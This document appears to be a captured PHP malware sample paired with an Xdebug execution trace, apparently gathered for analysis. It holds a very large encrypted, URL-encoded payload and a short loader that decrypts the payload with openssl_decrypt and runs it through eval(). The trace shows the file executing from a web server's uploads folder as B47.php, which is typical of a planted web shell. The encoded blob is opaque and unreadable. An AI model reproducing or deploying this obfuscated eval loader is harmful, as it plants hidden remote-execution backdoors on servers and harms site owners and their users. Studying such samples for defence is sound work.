jHdswiftkDsT%2FSXpafts%2BFDEAczh9mcStNI%2FhLKS%2BWoa1KnEWCmtmGNf2x5uac536cNZwB9S1P3dzaz5l4ZzgeCesdofoKC8ZydkHek92S%2BvC%2FEt%2F3z5U1xvYK9iPD4WGCf%2FI8wd5907dBcuPg%2FvfvMP7K%2Bkrj3lZm4vPdIAvneWd%2BzLhMZecXlSYT4U8%2BEyOPovv5PO8M%2BwNJ3nm9%2B2nrM%2Fz9qznFvDz7X9lrdSe%2B7vkdMx5xxnf8%2BDeleBWVtyp2lqJT9Lun%2Bf7V%2FCDQg5Exfr%2Bu7n1U6JbluXLUh3%2FxfDWI5rjWvAbwH5krK8E2yvN324FxJ9P%2FWuF%2BuV5uIoqYxBafLobbLm9wfwAvGcLs2vK66JJnR6pu6DPy37YQtbmc2ZUP4sW1yzEZt6pDcPj1f6NxB5ycWBmj2%2BDlPFq3u9Oj8XDvUgM1XdP6qeQRubcj8Ptz9LYIcVUob2zmtRW4HHPWt8swzDBehqUbT7Nj38ktsqw9Ub62pUYqQ12nc3qcmhcUcSwsQ%2FRbFrnO6mrdxfYEBTjL%2Bbx6XI8GenfIOfFesElb4P2UemR15C9rdl59lnMsT4vMZdvQL8D9sBV60dd%2BLvbdSejm1OXX8b9ZplOx%2FQeSf8crL%2BQR6HGS1lvRUarwteE%2FkMe9%2B7yXpPsTIXPCXNUtXgpPeeS2Cg98xfLW2v4h33xO5Ej30wHRV%2Fp%2FG6eR%2FX9bjB7GeYs81KrfaV5DCTlDjH5OuTxkVIfGsOKIBhX5I7JPhKV9MB6%2BxpOn97xOZ9zr7UNZF79muPp%2FjP3uWeGRAeV%2BBGV%2Ftu521jMPaXXSp6f1%2Fk2P88T9Rwb%2Ba6KfJNrPPMzib%2Fsqj0pK86wGvsiRxNKTkYNTehxfEVm6DlMyCOiuZ8QPTIvX2boMz1y3n033%2BC%2FSisW2p3ijlX5%2BLWcLaLfmK1zPDMxhr6TPZhhrbRf6i%2BslcFYBKn1f2b9j4l%2FOb%2BHJWt8iCYrdRJNdim5VTWyS80LkrlFmFcLNusv5LtLy3kwx%2BjvkK36%2FJDW%2Fqa5fTNtkXz%2FbiB8Zf8LPn%2FMY%2FvqP42q%2B63x0GxqrP7ys9M2mKMdAe%2BbOzXYVX83DWh7pOY46TxV40c21gf0Ribio%2FQMqjOc%2BtNty31pYF6Ut4r7PdIz98XEPqR274X8DfRmgg94hX9PeU0mwa2TPs3quF6ww9ji8aHcJ3WNKq5HTWxItV%2BOWEfnwxqUmqc%2FkHl%2FF3%2F5ytnFk3G3NX8xvfZoe%2B1Nsxpcvv%2BZDNTWpcltR8RJThRLwW8RfwjInmxpGaTeAGv34W6R%2FueRhfWz5uqV2exRdsKe8hnQK%2F%2F%2BDX2Jy1lX72mBONho9896tN93w0X%2F5Cmg%2BMXtyRbrGwh9iHe8ZBybn%2B2H2drgHUef1D%2BMvoEe7A9ZZ3D8R9i4ij4ndWZZ%2B%2F301b3T5tLgsblPzIXkeqI%2FxfsFfDyTuUlf4tffbgfFXTVOpOWh%2FmNsIdIPQ%2FiymrCPK5TnnLc2uJ4UEV1Pj3uV4w%2Fc17mKYyl7I%2FBgdV%2FKvbySUsyCGj9Wnvd6%2FugwMlbtaeL2%2FA6tS1Htqrp3%2F%2B00jrRE6hySZLkDWqc94WmPsWo75PAd8%2F9u%2Bb20eltPzYUS9t4%2Fjtdp9EJ18bJ55HVI3%2FGm7vQFfflT75cH0%2FBUDJB1cxX2Pa0nsnpOr2seK%2BC1sgIHKKvqZfR30WGtvN%2B6Y2%2Fam3rj03Q0tWGNFKOD%2BKdYfT3vx0Z0mK3717S3PZB6uufhwUvsvybjo6gHwPr%2FCHk5yHyZC8hpQ%2B3Jaot8E5pTd0oRz4r21hqxutRhdj8PbUhjGX0tl672O7G1ovXFSv5rbo%2FSUNE5f9ZhGgueRPui89xC6ufc8lwIfva8Z2rnK2flWh7Ixh9ML5ryM6jB%2By7edT2PXp0X7c27mJn5%2FHbSq5v3CEK79U%2Fo95v50DamdQBMzpJ9kbX%2FO45RKvs4%2FTNsjEK9y317wsjfU%2BCzmx9CvrG1szhncKmrq9BqUTCfdO4lLA7AfXmU%2Fnv5nmp36mhkzjLoLNLW4O%2BQudJPIkdd9mNXMIdKf04qPgit%2FbDCRpQmhl4zKHq3Er2JzpXmBr9YJMdP6Cn0nO7ipVTJiIaQEQR%2Fndnn2dQiOaukHspjeHQ0xs3OS31njb%2BD8I98fdCd51cE75Pn9N7xces4Llr%2FrlI7sYQnCllf77ehMT%2Fc74Pa01Di8t7x%2BygYVAsia6YHiguo1CV1PjUf1nsHYzyI0UfXy%2BJzj82pYl0shkV45uO0zedTXTsiMe1bR%2BB5Zx2X5UHsn5L8cbVXoNKrXcXzsIr4cvd%2BlLs6CESuPeXFDFOA2hsPnZOgb73HHKsROWoy19k2%2FUn3otbAPDQ%2BsTsUnJwFwaxS%2B8lzHeD48JyLvRh9GleUNXUHNv4naE72r3h8746F3oBUL%2FEOsv71KHUzUtep2HmIO9FrJZEFcg79MaReoLnT9%2BdJ%2Ff4DNSqEtyK%2Bh7mcNW90b%2FS5UH7JaltZfSn7293xmc7wOJ1S3qnZ9A%2FTJZV3Z8HbDNhixFjsgDhPvL%2FuyASOHd94TZNTocZT4M%2FzOLz7sRz4pyXx028l1pUZtic9vzfFPquE7%2FjPIv69bu6Xcy2%2BL8aTdYulvSOZDpHDBHxkT1RZJPSvx%2FkgreGefoqXoy30kj3xe8X7GJijBq%2Bv%2F037WBZ1XIn5vy3v6foq%2B%2B9%2BSW4RjASgrXAXZ4u57JOhYicwW47obGz9B5rvJOwoRad5hF%2BwmrwH6sbu3he5lquUmw%2FyxM%2FtA5OX7Oy47UFlG8MIO5E6E0nLlc%2F%2FF2I9X9IRc7zgjk49j9%2BVOmpdZgt%2BqfqO9DjxwzW7krewe%2Fu4Ta33CSrTKSVeGLc1pex4EPPtkzKs3Beh9sUVef53amzzuhfRPTQZvsgerXN8WJ4IzJHxtDnxfHv6AnLF79IaJYZJTGIuAq%2BH9nZ5iL8pa1HqRrYHf9tz%2FKk%2FeeH7lf2p7KB9XJk%2FTN7Ph3Sz%2F43NV1779rfGHBqs95DssdL31swmP4fz6OD17eclxwq5i9dQjm2lYgXU9L9hWCjE3%2FQRW03i6%2BXnSfYZn2X9h8pr2SV%2Bq9KXHDGfjixnslHDl8jaKR8r5Jjm3kN8FSyXj7%2BP0UIeb4rEuvK1lTXPNjj2TlRXb0pxbTDHYFxb9yvXNC%2Fm1X1uTHk%2F7vQdFHVSah1WpR1nCbmX%2BRib7bcaYPdfwdZm%2FWrcNtUn5DqKcbF4Ez13M3fSVf0ch5w%2FMH%2FHhT%2FbSfyptzaePvE%2BM%2B4HTyqvwXp%2BNZ6e5ykytma%2FTozt06vP8RK6DC90SH1wsG8jUjvmJgKPyzp9LCar7M%2FeN%2F3s%2B8wvvg%2FO4rfl8j5eY5Z3vSa%2BHMSHf1bo44n2jvzx5G6CB8%2BuKM9oDvWK1Pm%2BVdXIy76JnK5r%2FDanjyDB%2Bs5eJnN5Sb%2Bpf8HcgUavBMuPySED%2BLSl6in5vVnouOPZSNTpml2w%2BUmPNl43CroaYkmsQM88Mfxq2HuC0SvrQwZYe99kMmVY49c7vesY28DLGS72q8%2FrBLoizuLt2sdglpzz8Y%2BCzyKvb%2BVlQt8%2BCowr7tuh%2Bk8VBhOnD92vvq6xOSz%2FifasKKOPAiZDqmMp8L5uZbWZDANW57%2BNWMFSr6Gbgp8rxxuNIL0ILIhg7hyUdVbpaLX7w%2Boa0qjOPrPCWoy7%2FDvjWVONq1f2AK0YQ8FULpuL0qOB1OC5G9CrLqQ%2BetY7hrLXbeaJnIzuYWT1zrw3VNw5kZ56L%2BKs%2BB2wG4tZc7tsgC5KctJa2du4uQ5IP%2FLh0%2Bukq9YK3oKGvY8GSt1WTj%2BT%2Bljyif4B7PuyhwDohifQ4VoEe%2FLz2PXttlK7L3gA1WsIz9TwYqn9SGtCSD922fuI964mMWPqXxc0o%2Fb7ofWCFuoL1wvBVSc%2BNzo21ddOG%2BxdgDVyAcps1pfAvf1Qe2sZSu9lUe%2Fla7W1%2BX49%2FpDhEZTXhE25HlXxuU97L8Ed3FaPIXMYa2vPHqtjo2t7tCZbrwttMP9W70u18T2KO%2BA9%2Bv7Bj2v%2B%2FTLeF1XWJpbUwYPOnuuHXt%2FTp2QvnFz9HrWbX6zaGvrBpNvqYE9LLmcCgePGdUw1zj%2F907r%2BBu0%2FjXcac5oU%2FSgn7wJFf1L1Zm%2F90LM33kOZypej4iOQ91%2BhUZDRdrKU%2BBw8b1LjDYpdVo1n0dHzWpQ4Eu%2FnI3vU3Lf9FPtNzZUZqv2tWe6Fl4QdxZ%2BpY3D3JvNkQjE6CJ%2F%2BiAa8dzxZP%2F8936M%2Bh5%2FJbf3e19ag5bh8fg1%2FGz4IlS2fwlVAu47WlGlnT%2FrD0Np02jeMYuBsP2HzEhlI8ORBv9jA2MrnbvtTuMzETua1fgpu5GZ7ED6cLNe%2FT%2FDnwh253%2FNNscv1e090jEy5%2B7V2Rbl9L%2FclwjpgTiezz%2BBjk%2F0u4Eox%2FVP0S66s3%2F4indB62T%2BmE47PW9iPL9NG3i9SShuIF9EzF3M7qZLjsk4%2FF5dg2IBaPP3BPaM%2Bk0qZqGM%2FyVhvjY5dddeKPSTUHj%2FMRijUCJf5eRZCR9Twyh6iwZpnc%2Bde5xPD%2Fu7Twnk%2Bktf8OX9TZZzl7%2FY3VeZP%2Fh3%2Bpupc7r%2FH33T%2Ffd%2Frb6p539%2Fhb7rvl5fvIDVFXl%2FgcDSre6pzveS%2BDqfdkVq9J1L03RJ9qTRn4bEcLH5meu7ythYfdol2t%2BgjcEreJIa70h%2BU1YhWxuzq6pZ0vLwyjDeByUViVfTvEgdM5OZTH4q6l7SGvoyvMXtR5NH21bhCOBvJWC0%2FD4l92KuYS5lOqPeMf6xvjewLKuIcUh%2FQsPZKsBfzOIpK7OrAMX51eo67hVqJWfXzOt1rmCxlMcs7eEvl%2FZ3dhuzvTHweqXtcEJ8PtYVComOttq87N1VjgxV6U0WeR71%2ByXCr1svGb8XmZpgdDfT15u2ulsB7Y33BHtGr2FgldmYmanWIf4ZibvlK%2FOxJ2CaIoRLPmrx3D9ZorxFPYmkFB%2BKnysr0a%2FWe5%2FwhKm8p9kNWz1n395X5BxvYD2%2BYw%2FofXUpj6o%2FpFao9Xe7PVrB4GK2k93MPmW3cD87Ke5Ue9F2iH84tigNBxzqlr6nsd8%2FirEpeuV63R%2B7mvXg1y3EJ180LxciHd%2Bx%2BXF93pb6mx3KdcU3PtM6MjCv7hmu67b1cIBaXwfnQvjQWjuucy%2BXXsObu0fzUR%2FJW1bOktuSKYAMtO7UYFYQ3qPsm8zq4vT%2Bqwa4V38%2F075%2BM2j1nZ0dyLog%2BEhzCTvNG9pzW7%2FBxb7lxj1V6Efu%2BgodVnZ9b1otPqXHYS8yGyn1jeO6rvcBkT7fEp03mnaI8MrHm7KbHhmjOJZenr%2Bk1WaaxsaC5CLTnW1pXG5h8anz8fUHy%2F5uCL8rz7f3xWI%2F1h%2BEy2s0W87ZR1geP3Rfd19gX%2FEPJf1B0T1HbWNUHbMhxiDNvnccEjPfhwHvn%2Fe5hHLPM7w92ddHfj%2FkX1fqlxGOa%2BSfQR5ufzDmo6zH4jTkNdX0L83jIp8Zi5hEaRZxKvcd7vMaYA8hQ0ePd2bWfQJZ9gD68JTbfLUAbJRdrkdjKRF7Oy3Gmc%2F2hqzCl87Wqa9DlfqmYOXmbJY%2BDUMVT9Lo1LedKqTnjuTNaDqCBdygyWxJz5E5vie%2B3H%2B7JJ1xT7wEfH9WZiv6YR%2FKKh8byrl0lzkavvTPd3qTrP%2Fud0%2FPE9H%2F6bL2jsajvPL8Y4XhiGIcqm0fGre%2FVT2kyphZrUuo5tfV%2Fuf6WzQ%2BFjgs6NIuPcD2axjZVHLMG0HSH50ASPbegl7A%2BUuzvuXjQJ%2FtS0l6TtqTHuvG3zpXSg%2BqTRR%2Byfh5kH9T%2B65vh4XE%2FcxkNCr%2BqtUztW9SRPIb2B6L9FJfYj57hFsP4DVrD8sT5pOK7jvm4TF6ZK1I3Y4g4O5uvsOfOS9GjRsX5H36qL3CRVvK%2B1xHz9XEs4XJbbyH6ozO6pGd%2F%2BJQ9aXgm7ZkC9Gc1sW5%2Bs8hkbmLQ8EluTl7nU%2BMH6FdcptcPrO2gdIT7YW%2BXlmsuZ2jD1ehpMn5Jef2U1kODPKA60mP%2BfFJjm49p6rlD0aPYz40Ac376fvY69z4IjU3sy1vndFvCfSF1bBvHIj41df6VNJDUxuSi526xXwqpOxexMh4rvdevvjI%2FVNHvBb99xKYpzWHVezbeeaY8Lgx2kbRZje71Xv2s8KfmcSgYftPIaPmThNHVluS9kHwj0OuVWoDjudQ%2F%2F1zXu62wx%2Bd4ZtzTA%2B7X0vd7O1GXbGHu1oXLRRy%2FwKfwXd76eHMerEvJ6cNK7o%2FP9H9pl9P%2BEsKOFHfTNYQsUGJid%2FdQ8EvBB7aOYuc1Fb2G5WPTuLDqJ1F0xamoTavOpX5S%2BbPWr0Ty%2Fqa5HPOctydx3pi7BTJxg%2FoszQ86jYJZTOMWtDfv3diqQs95LH%2B2F7%2BJnUN6DG9K7%2Bktl9dxUGXqA34MRZacPsI16xkK64gKOQ73dMPquREeMj5eH9UDFRo8PNYXO%2F4DeovUuosG9zHW8ybjqu%2B3qMHrEf2C3JfhYTqwk7ioxzzsq7rPQwV2807YDfdrNpQzJ3S6erFWWYjnSPbSKcryBo%2BRypg%2FW3vN3WL7r9WhRApd19Gy3WF9LM%2B8joXX9XnTZvI2ILLDChvM76f1NH%2Bonrv2%2Fa9j4yEM5a%2FmyNyrIa%2FZU1FzdKdurTIXldo62CrQtP0OyoXTX942JLhMWs%2FhOrm77ebkSRnmlagPrasvrpynoncIWQ100ZY2HMXQeF3X3nGBt%2FGCV3aaTOUe3aXBtkPyNHl8yn52RN7mo3bct%2Bj7gt4%2BrweKWseS2qA7tnxet3mgD2uZrlVRf1SaG13Xk1Ox%2BxkuC69begA%2Fpujz2cf9K7ff7%2FVYL40jcoyf2Eq2cf833surQ9Y6PQSWf8ScnWDmUuww%2BKzKX8hqxm5e31wthN4S3a%2FPZz3z2D253quR%2FAPfVPMeHl75eTF84rl3vIvPc2%2BvB8PH9%2BVTOBroNxNYGoeCv%2Bbue0p6eTaIn1jGssk7ntR%2BGNQ3Wh3DLsUMVfIyCrXvj9XHcuyqxFgyOzja%2Bcmj3y3p61HSe%2B1e793qvs21vQUe60VaRTtKzQDpgXKUZ0P6L5b0E3us3lidv9KTl8p9UrcQkLwlZ%2FzA2gr9sPU7ymtgFpbfpHee9brK%2BXvdx%2B6Hgv%2Bi%2BjJpPWs8ux7v6ymVfTWVXEq0iX02HqvnGFf1QnyUDu%2FiT9bwbFHDcl6ml4zI5M3qcf%2Bt0qez0MvogX2v6tlZyUsKvbnu7VE9PlHZHVbyD%2B7xI1EvdlfG5vYd%2B28KPYj46Timrdvme0n%2BTnEK7%2FRM5TIqj4ub78MKMn796Loe6mFcGvuSfnqynwR7OddHtKS2aHSOSIy%2Fq8X4mR%2Bd%2B9lEHvco5c8PlecZnsSO6niKb7UT9lubmMRo2feEv0b6mAT%2Bpob9InN9iK8C8Qtn3VxsQeqUed%2Bn1IW6XBdCX%2B57OEt2i8GI%2Fb19eeuU5fzW4wvciY%2Bq9fGsbwvNE6h8fqzYVBSH%2FcDy81dhX9Y2Kti7NfY6pYlP5WqX%2Bw4f8MkxH%2FR8ZQCfSgLOT4mtYfc%2FnRNm%2BE8wvhnz9db7o3X7pq72q2KMklyKsjG1fryFHmTaWqvt%2FQd7jSs5jRqe8128umr%2FsuwP4HDbnNX6vO5oTyLfWPWmW7QV0JfVY3czuLD%2BRQSPivlMmA0VMR9VcGE56RbH1EPa9X23NxV5URSfHZ8lGMB%2B6xKlyIPBDpZ2dbMMk%2F0uPlB1rutDd4TzzS%2FyRoJ1wWrUFf5YH2uiNZzN9Lt5pOx9SOJXDCe3rHe2vI9qH2qaO9P6gLHt5Y7G0eR99YifS9YCBpXxYJEnl69blGtqVNylGv5blkvL6aACo2Ss%2BanqeGqNLwFojOxjMQ%2BAjNMNVWzgL%2FkV8n3g9ZyfNvZGUO3yoyP0o%2Fq%2BkoIuy%2Brjc7pjNLCTer1O1eUE3loJ9h3z59bXhHLfSa7vQSEmpNZyF3XRKp1qhpjQXh97jEoMBRkPo2P21Jy5FcPB%2FxnOPaxDPpT3cyTjDnVshm2%2BHonUrc9Fv0PvV8D81s52m8F9CJ3d7%2BtsG%2Fuh2R5ONu2FZ12tSd%2FcoZ%2FZ6%2FU%2BFmlv7s7263EvPMwSt%2F2z79yWg73jGE1rNrHBrvOe3VlrFN7ar%2BOJfYz9bfb23Ft4pr%2BbdiMTPh%2FAe2Dbe1bgR0Y863XdbvN5iXK263biXjKHz1%2FhveT3Rd89hf29MzLs%2FwTTuP82TZ6j%2FmqznI0y%2F9a9RN1kGBnN58W0txtPgQ%2F17fN0Fi%2BWfreB8w2N5Hk0izeOaTfDXvzTgecnuxDW6b3DOsdv%2Fm9ctz3uNi9Bur9Ntu4enrfhfYeZH8%2Fi%2FhD06JY7bcSNsempn%2F%2BLzt%2FB7wdOsn8Pkhjozp%2BMJontTcPB7Ll9nJj2bAo0OZ21cH7t0CLPO8stvu%2FSjK3hbbxp295zexdMV%2BM4tc%2BTWQuO0Yb9cd%2FJ%2Bp%2Ft%2Bdt2vx2b7sE1PG9p4ft7u%2BAG%2Bzu9nie79nr5nND14O9pGPqmDfIyaf%2BcJmy%2F7RTWM15Y7n7B96%2Bx74fd01Tdv6W%2Ff8b5w36I81x07TGM%2F%2BL3TzN%2Fen0Ga3vqdJvO7Ln30%2Ff9g7%2B1p7A%2Fu6kJ1iz8Dn%2BcOpPEn056bTifrnY%2BvT3sX%2BvVA3oJUsNc9rY32Bs4r94NPn9%2FAxoeb3qhY%2BL6hs1F2oW7dFqMu8lubCWH0NiT9S7mMVm%2Fm%2BznP2fm67j7dAms5myRes%2Bj3X7tbJuZWG%2Bj%2FeoP8Pzcjrp%2F5DyMZDhKr5vldm%2FBfu0Wfjf7OQdZ4If%2FQfpb%2BkiPrr2YHVV6Yt9fvcD%2BDP1dsob1NSaN6DJmn4%2Bf2z9HsP%2Fk%2BfS0nXV7zbERLxYG7N88hvm4NZ%2Bv7nye6J%2Fv9skM1j9LosvSSPYge1b%2BzbNgf3ahcZ0vrNzz6X7t3ZJ%2Fwf19x%2FNe3IA%2B50Se5PDjhkaQ9jYLU%2FYInTd%2BcN%2BQ%2FTb1rbC3%2Bvk2vWRjPJNJ0oBXv0Swx9Fzb%2BMk%2Fs6f0DP0N%2B2%2FYuQJ2%2Fi46O0H010y8uGOw%2FPjENjndBeuF7P4MPXDF%2BAtIDfiYGqdduF21QjN%2FWDZv76OjH0fzvglTt3%2FwBm%2BjIxwE6SJHXVbDad7ehl3bXan20HJHX8dmXbHn522vhn%2FC%2Fgz8JTeIfDj%2FsLcD8fztj0e%2FH4aT%2BMx0OgktJLxrLtvBhvXdrfJ83S2Crybt%2Bc8YLqLN8vJ9hLs3q%2FLZB%2BI3zf2izuzT6CXL6ZWfA678c%2FY2DfpHrf%2FBZ%2F%2FjPD5WcsHudGd3trsTvUeumPj7arzNhveYL9ep8bwKdwCj7R6c3%2FWshdm2Awso%2Fk2bcEdO9n%2BbmWOZwnhGVEf7sTGh%2F1GHnjqT5K25wy8vr91G3Cn4A6sgEfbTbwjP%2Fsh0tzKN%2F2P8ew0e5u5p5%2Fz5C%2Bg8cPYD5%2FiabJn67EC4IDxFMfzx97s%2Btek67YXfns%2FY%2FOfJiFsBOUxS0IfkbE0p9fpFniEH%2FqfeH7sb%2FeT2ue3T2Zwc8dLsHZCq%2Bk42z3w2G3zLe3BnfFWU8u9kDtqgkwahEifH%2F6kN%2FZ813cHlD6B5z3FqZP5eD6%2B3fOfe3AebPxp8wb08HPZZev1w4mP%2B5sV8mZBZtj7Zer9ivqtDPuk8Bqyokxc%2FXTgPiwHobOcod1io6z4D8gWc5HaQx9439ToPuG63mYoe5u1z4W9yIxAJk%2FTU%2F14qTnD947n%2Fsp79pA3%2FATZeZrsXLgf9nE89Z6AF8M9dVe%2BkZjBdGQA3YPN7m9B9hnAW0H2nAbs9%2FfAMreL7RV5y8ozwibw1o%2FIB5M7bW4XM7jHc8kbuWx%2F214HkzmMr%2FMm9v1VJ9ia%2FwJ7hfINxqtBJ9ksE8qb39JhNtnZTNZdwE6196Ndoj4%2FmAJd%2BzfQNdJk99a9dkfztj7eLB5NUZbLe%2Bn5%2Fj6dmqCbJ%2BHzW6%2F0HuZ1gcsMxgdZ3VxYwAf84AJ88QXuybMzWGnvg%2F3eOCnwvWd7sejbKFsSOA9Yr9%2F3zN%2BXZbc19hNdd1lMfNQ1zDB1B3APYb%2Fx%2BfjdQd1kvgdZGiDfOSxNut8w5tOs5x4YX%2BSyyha6yhZ0ty35%2FQp6I73309EltHpD5MPLefyB6x8ldm%2BauIHTDf%2Fyc7rHbGYCHYPsGKBu1vug9OnN4XyE7sD4vI04ITAvOzKS7mjjuX63d1FlpddYXdi93dPxuld9f4c30P2OkQl8ubFCvlcii2P3J8jqSbpfzLpDGHvlRob5HDdyspY9D%2BufxYYJutDe8XLzYboB8FUvQFnrGeZt4uvrF%2FS16W28bvIxmyeNt6mmS%2FH3bR1jfwE54MP5gL6X%2BEDf%2F4L1bkGOnaaT0F7MI1NfL%2Fu%2B5Z58oN%2BRtfrPpLtqR6g7PodAz8kJ1ge6Ven7FsA3UVc4%2FJya3XjQHlHdyHyi%2B4v74V3GjeQWdQvreVbpOTROIBfsFcju3bQH9GG8X98G%2FsvbjMnl0s8T8vnY7Ob3s53TnTqgW8ycPt6%2F3nnW9drLrUqv7PldewHro%2FQFfNMB3Qn5w2zjLoA%2FHJ2BuxmBnkDfbz4vivvB3%2FfTnSFfvK5BLu8nz%2FYL8ouf8%2F0KPjdA17b1%2B%2BIWdKXFVteVf05Rz9mW4T6sETNs3mh%2FRDuQAR1uYyVNbx6CLtdsyvfHQK%2F7G7GtzOll0Q2n3jxqjmfb5gL5PcqpNN5NevFhMSXzA7kMurDhd0aJfwCbxvYG8DnQZ2j5TdBlE8%2B6wN57PVhPc7RJULe7gi4INh3YsLP9ykkCSu9AT%2Fz3sRHCfdkfR9s4cPrXv1Cu4u9MT0hRTmIajLdtOp7lHcOu0EPCJfIzP7qCXHwOn9uhA%2BeJtkpohcPYitGGBHnivnhg27kTsHWMZhP0kD7In4nQ1UEPDCx7P55QPQl%2FZ%2Fx9DXtL5wf7AzQdONPmaDppG4I%2FT5IJzHfm93B%2BIJe3ibivUR91Yf9Avs%2FXS%2FnfS4i2bL%2F1ArbaBO4x0lMf6Gnio5cExpkCP%2Fa2rTnooRegn6efXbjvQI9Ar%2Fsp%2Bm9naGuEG88MTaRnuM%2FnaeqCLbBF%2FnSJrF6ANjTo4h8%2B8oftaTLarFK0LUHv9IG%2BDpN0tV4mYOuAXozyFjRm4J9g%2B1lNZT9%2BlPK%2FcaLyO%2F%2FntOcd3IHrvzFbZQzrm4FeCPR%2BAD3tuDDb8xnMdzl3L8IWMvbPID8vaMuj7ePtwPYBPRb46QL5U2QlKK9PcH475Od%2BauJ%2BHmdbeN5yQS8%2FMf4aH8bp8Ab0B%2Bu3pz7s3zjx9sDvRiNz3%2FWff5gTI%2FkP3p%2FQOr2AHtVBfgR67szz7ZFP6C35j9s3PdCL%2F%2FL7iS3md6N6YKjrgTb6JMbpia67T%2BX%2ByOwdl30f5rm3Qd%2BfTg1%2FNvHhnNR9t9wh2iu471OwcyamB3w38YAuiF7Cvr8Fmxnpduz33J6%2FNace0aeJj2C3MPZgX6wseq%2B6QJet6WLH9gH0iMWgDXKa24QoQ0F%2F3HDbSeUX%2BTyo31eCV4X%2BVKuVLbKTsbRaR1E%2FndLPeaxQ9ZEGAgNUq5GGMTFebuixKatJ8B1JvUOS9yuj33HFYtH283LnY51Hhvkai7lzjuckV0f6nLcui68hvxuV%2FR1zCs56fY9d3iuLx1U4LzVckWs8SpNz2Dldlg0baxTInnmpTXBkvB3mrzB%2FIfc1F%2BIf1K6dok7eYbgeFTVDHL8U9kfPQabfLdYJ3Zyrc3ME%2Ft6LqeEGIh5LVf0JiU%2BRGKGos6DYYxL3BsfzbywXio2l43lxnIbcGGZEaysfwGyzLwF%2FDuMHn8NJW0cDnu%2Fnj8K5LXIYOJaG6lO%2Fgylx%2BDpOQ47uCX0Q2s%2FTFIk95%2FbqHO5Efc5E1NDQz0h%2FGHEPeN8fQd%2F0bGTMxH5mcZQb7IUVzof378qX70Rvs8hM4Z%2FBe%2FHwPbD8LE797Iv0yddWlpPP88kR6x%2F4%2B5DHPcbe1PzL7%2Fq%2FRlOvO1XynwWOhEn2hWH8lNABrdnDeE9JLR%2F7bmE%2B0c2ZODeJn3Xy2b3gPOAx%2FMM5y1GUtVSV9yGwHH4fnqvuQgXOTCNI3Qu%2F99O%2Bn%2F0J1l%2F5uXq8Riw%2Fb6V2LE9zxZyN8jxdli8FNK7m4VXHvwr4x2W4ARvZOyHgvRuNmhzWzB1ENBb63IY5t5Nl4fu2iOe%2BgJylfaRlr%2BQ5wYJ2DZGTQPGyf%2BE%2BkvjJzmN1%2FdW9CZWYeuN%2BXijYL7k%2BMogPPSLzIjggFtynLdxxpacS3YPcGuC%2BeLc%2FHKNqrTR2t358zOo8LMTMdo%2FLhquttyJPPh9fzfW4rqkBqYizBrv2Rsn1LtLQzE2VHiF9ikFk94Pdj3Mg6jTK%2FHxVa1ZzUbcWy6dO3gQWfLwJsuOJxFq3oUFqRbfhmmCMa783N%2FW9ZEcXuDccw6F2%2FhV7rdW9u2vWCwzuQ8V4B1GTXF9bkL3IWufqepI1x9MKanof5XTmuji0thbSP0zu%2Ba59e7F65lsHeY9zCBt2EiGudofvj1bzdonSaWW%2BTg7zqrLupbL%2BAPSvqLYGNRE80CH6rnfC50H%2FvYAuceS9bGjMBmRbr0X0ZBKvqaq3VPNmJyy3nZ0z5sDLnBX7QnW6odIPukCXF4o581AdIalJqqPjXG0l7r2KZ35acqxzfQ3k%2FeFczjvKTqt4%2FhtzAZ5frBj0qx8HvANRX%2FQ54LpHPtegpJeSnjNaU8%2BXqwkWeURSL6jI6wisQOmXJ%2Fc3yPi952eci8tZzpfOmdSVW%2B7mJTOpPSXpapP%2F%2FTV1avuRgawF%2Bcl6vdeu4VEeSfvfyfPMj%2FcpeqvgUU6BRzHcx3L%2BmMtpRXpRbfDl7HLl%2FcDUtZD3p3LPo4FzCOb%2BE5E92WkXpf7lxbI3%2Bh3jOh7yt0p8lj%2BXhULf%2FKQsTB15j6hOVsgviToPyxnlrFeIJSlwWIBPJ1Gq39cCbQIPrJEvWVG%2BVNBN9g%2FiU%2Br%2BfplPyX%2BX5LRjn4iSvHzam8JDnOnS3hR0TMb%2FDrUYg1ZXzes6qLUSpdhUCk2Mxnp%2Bsqyfb%2F4CmxS%2BJ3TSBtAds61EXbJa%2B9NWsXVq6kdXxZpKtbakq%2FnteO%2Faz40X9xFDIzLM1XKtYr3Te0touD5%2Fe5XDJGZ1igrmX9JK3hDzaMBz2uKVxB3gdcWPn1Ng9Y7LXsvEXiNzC22kL48r988gdPd%2F%2Fj9zpPdC';
if (!function_exists('openssl_decrypt')) {
    die('<h2>Function openssl_decrypt() not found !</h2>');
}
if (!defined('_FILE_')) {
    define("_FILE_", getcwd() . DIRECTORY_SEPARATOR . basename($_SERVER['PHP_SELF']), false);
}
if (!defined('_DIR_')) {
    define("_DIR_", getcwd(), false);
}
$e7091 = "WitRVDRlTnV1UkliMGpLdndRb1NQMW5HK01ESU5nOGRFYWFIc3cvTjNXK054QWozQjB5Z2kzcWdxR3YwWmlTME1FMEREOTZWVWdOcUs1SEJCcUdPc0JRaTU1Tlg0eFQ0aWFMTU4xczVZR2JjWWwyeVJTRFJPTlpydExpN1VZMno=";
eval(e7061($e7091));

Execution traces

data/traces/04310f8a34d679d552f49223e59e488b_trace-1676238562.6807.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:49:48.578525]
1	0	1	0.000140	393512
1	3	0	0.000381	460552	{main}	1		/var/www/html/uploads/B47.php	0	0
2	4	0	0.000399	460552	error_reporting	0		/var/www/html/uploads/B47.php	1	1	0
2	4	1	0.000417	460592
2	4	R			22527
1		A						/var/www/html/uploads/B47.php	1	$Fls = 'eNrtvVlz4loSLvqXJGE6mofzUGAm2VJtBAikN5BcxSBhmsEgfv3NXPPSBHZ5d%2B8T58YOxy4bsbSGXDnnl%2FbEfbYnbj%2Fqry72pN22J3Yff17Hxkn%2FMefB3Nss%2Bsk5zE6NcGbfFn3%2FuOxMM6fwrHHCsRazIHE2q1W0s1dvfusQzpNf4Xy1jxrezZ4Mn%2BCnEVs9I7BW%2B2UawbPws3Xg%2F96vabc18WHsn2Py0xitp5fReHrB392Bd4o6x8QxRgcYw5ibbm%2BahL3pemrCc5nLf09aP0dTs4fvsSd%2B9xU%2F67Umnm%2FPPH%2BYuNMhvCsejXvtX1PDdzz8PJuaXucJ%2Fo6fu2f4bsa%2BN5qY7hTG6eB4Ub93izL%2B%2FPQ2Wh8T97l9CmbJka%2FtbbCC%2F48uy1lvv%2Bw0s3hMns9G2RHfmy2tlkHnZj%2B%2FZHxdZL1kPGcb4M%2FBm3n7uHP6iNanbTi7JnF%2FCt'
2	5	0	0.000497	460552	function_exists	0		/var/www/html/uploads/B47.php	1	1	'openssl_decrypt'
2	5	1	0.000512	460592
2	5	R			TRUE
